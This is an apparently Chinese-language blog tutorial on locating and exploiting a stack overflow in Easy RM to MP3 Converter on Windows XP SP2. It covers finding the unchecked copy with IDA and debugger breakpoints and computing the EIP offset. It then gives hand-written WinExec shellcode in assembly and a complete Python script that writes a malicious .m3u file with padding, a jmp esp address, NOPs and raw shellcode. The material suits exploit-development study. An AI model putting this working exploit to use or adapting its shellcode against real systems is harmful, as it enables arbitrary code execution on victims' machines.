Easy RM to MP3 Converter栈溢出定位及漏洞利用

时间:2021-06-04 03:53:08

  本文主要是Easy RM to MP3 Converter(MFC++编写)栈溢出的定位及windows下shellcode编写的一些心得。

  用到的工具及漏洞程序下载地址https://github.com/5N1p3R0010/Easy-RM-to-MP3-Converter

 

  首先,在填充字符为10000和20000时,异常被捕捉到

Easy RM to MP3 Converter栈溢出定位及漏洞利用

在填充字符为30000时,程序崩溃

Easy RM to MP3 Converter栈溢出定位及漏洞利用

 

  查看程序使用MFC++编写,所以这里我们用静态分析的方法定位漏洞(用污点分析的方法应该很容易动态定位这个漏洞,但菜鸡我并不会)

  首先把程序拖入IDBG,查找字符串引用。因为程序是在读取文件的时候崩溃的,所以找到click "Load"字符串,跟进即为load的处理函数

Easy RM to MP3 Converter栈溢出定位及漏洞利用

  在IDA里查找这个字符串(4465F8)的交叉引用,可以看到第二个是他的处理函数

Easy RM to MP3 Converter栈溢出定位及漏洞利用

  跟进函数发现sub_41E2B0在进行拷贝的时候没有检测长度

Easy RM to MP3 Converter栈溢出定位及漏洞利用

定位姿势更新(PS:事实证明,晚上陪妹子聊天到很晚是会失眠的,然后第二天就没什么精神=W=):

这次用消息断点的方法动态定位漏洞位置

首先我们用IMMDBG载入程序,然后F9运行

此时我们先下一个消息断点bp TranslateMessage MSG==WM_LBUTTONUP,然后单击LOAD。这个断点的意思是当处理消息为WM_LBUTTONUP的时候断在TranslateMessage函数起点,WM_LBUTTONUP这个消息是按下按键。进行消息处理时先GetMessage获取消息,然后TranslateMessage将windows键盘消息转换成ASCII放在消息队列,最后DispatchMessage将消息发送到对应窗口过程进行处理。

Easy RM to MP3 Converter栈溢出定位及漏洞利用

然后一直F8直到进入DispatchMessage函数

Easy RM to MP3 Converter栈溢出定位及漏洞利用

然后用IDA载入在同样的位置反汇编得到LOAD的处理函数,然后找到LOAD文件内容的处理函数

Easy RM to MP3 Converter栈溢出定位及漏洞利用

跟进后续处理结果就跟上一个方法一样了。

 

  然后定位一下需要覆盖的栈内容长度

  因为程序是在覆盖20000到30000之间崩溃的,所以用二分法构造一个payload='\x41'*25000+pattern5000,其中pattern5000用pattern.py生成便于计算偏移量。这样如果崩溃时的eip=41414141,则继续构造payload='\x41'*20000+pattern5000计算偏移;否则直接计算偏移即可。

在xp_en_sp2上得到的eip及偏移(这个值经我测试在不同系统上是不同的)

Easy RM to MP3 Converter栈溢出定位及漏洞利用

Easy RM to MP3 Converter栈溢出定位及漏洞利用

所以这里我们构造一个payload='\x41'*26076+addr_of_jmp_esp+nop+shellcode

 

  关于shellcode,在exploit-db上找了几个shellcode都不能成功运行,所以最后决定自己编写

.386
    .model flat,stdcall
    option casemap:none

include     C:\masm32\include\windows.inc
include     C:\masm32\include\user32.inc
includelib  C:\masm32\lib\user32.lib
include     C:\masm32\include\kernel32.inc
includelib  C:\masm32\lib\kernel32.lib
    
    .code
start:
;WinExec("calc",5)
xor eax,eax
push eax
mov eax,6578652Eh
push eax
mov eax,636c6163h
push eax
mov eax,esp
push 5
push eax
mov eax,77E6E695h;kernel32.winexec(),需要调试确定
call eax

end start

 关于向栈内push内容,可以手动hexeditor把要压入的内容逆序,也可以用分享的一个perl脚本pushString.pl来确定

Easy RM to MP3 Converter栈溢出定位及漏洞利用

(这里忽略第一行的空字节压栈)

读取编译好的字节码也可以用分享的perl脚本readbin.pl确定

Easy RM to MP3 Converter栈溢出定位及漏洞利用

这里可以对照OD确定机器码的起始位置。

完整exp如下

f=open('pwn.m3u','w')
exp='\x41'*26076
exp+='\xed\x1e\x94\x7c'#addr_of_jmp_esp
exp+='\x90'*4
exp+="\x33\xc0\x50\xb8\x2e\x65\x78\x65\x50\xb8\x63\x61\x6c\x63\x50\x8b\xc4\x6a\x05\x50\xb8\x4d\x11\x86\x7c\xff\xd0\x33\xc0\x50\xb8\x87\x2a\xe3\x77\xff\xd0\x33\xc0\x50\xb8\x87\x2a\xe3\x77\xff\xd0\x00"
f.write(exp)
f.close()

 

 这里nop的数量需要根据调试确定,填充nop的原因跟函数的返回值有关。nop数量的确定可以用windbg附加程序,在jmp esp的地址下断点。

在断点处栈回溯(不添加nop时),发现shellcode并没有被完全执行

Easy RM to MP3 Converter栈溢出定位及漏洞利用

继续查看栈的内容发现addr_of_jmp_esp和jmp esp执行时有四字节的内容没有被执行,所以填充4字节的nop

Easy RM to MP3 Converter栈溢出定位及漏洞利用

填充4字节nop后,pwned

Easy RM to MP3 Converter栈溢出定位及漏洞利用

PS:在利用前需要注意的一点是需要把calc.exe添加系统环境变量或者把calc.exe添加到漏洞程序目录下,这跟winexec执行时加载的过程有关https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec